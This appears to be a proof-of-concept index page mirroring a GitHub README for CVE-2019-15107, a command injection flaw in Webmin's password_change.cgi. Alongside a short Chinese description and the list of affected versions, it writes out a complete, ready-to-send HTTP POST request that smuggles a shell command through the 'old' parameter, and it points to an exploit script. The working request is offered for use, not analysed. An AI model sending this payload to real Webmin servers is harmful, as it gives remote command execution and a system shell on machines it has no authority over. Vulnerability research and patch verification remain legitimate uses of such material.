CVE-2019-15107 PoC — Webmin 命令操作系统命令注入漏洞

Source

https://github.com/AleWong/WebminRCE-EXP-CVE-2019-15107-

Associated Vulnerability

Title:Webmin 命令操作系统命令注入漏洞 (CVE-2019-15107)
Description:An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.

Description

Remote Code Execution Vulnerability in Webmin

Readme


## CVE-2019-15107: Exploit Modules Available for Remote Code Execution Vulnerability in Webmin
1.漏洞描述
Webmin是一款功能强大的基于Web的系统管理工具，被广泛应用于Unix系统，由于Webmin中Password_Change.cgi在接收请求的处理过程中，old参数存在命令注入漏洞，可被攻击者恶意利用。当用户开启Webmin密码重置功能后，攻击者利用该漏洞可在易受损系统中执行任意命令，进而获取系统Shell。

受影响版本：
Webmin 1.920及以下版本

2.漏洞利用
方法一：手动检测
访问页面，忽略证书后即可看到webmin的登录页面
![step 1](https://github.com/AleWong/CVE-2019-15107/blob/master/1.png)

发送如下数据包，即可执行命令id：



POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
![step 2](https://github.com/AleWong/CVE-2019-15107/blob/master/2.png)

方法二：利用脚本
![step 3](https://github.com/AleWong/CVE-2019-15107/blob/master/3.png)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!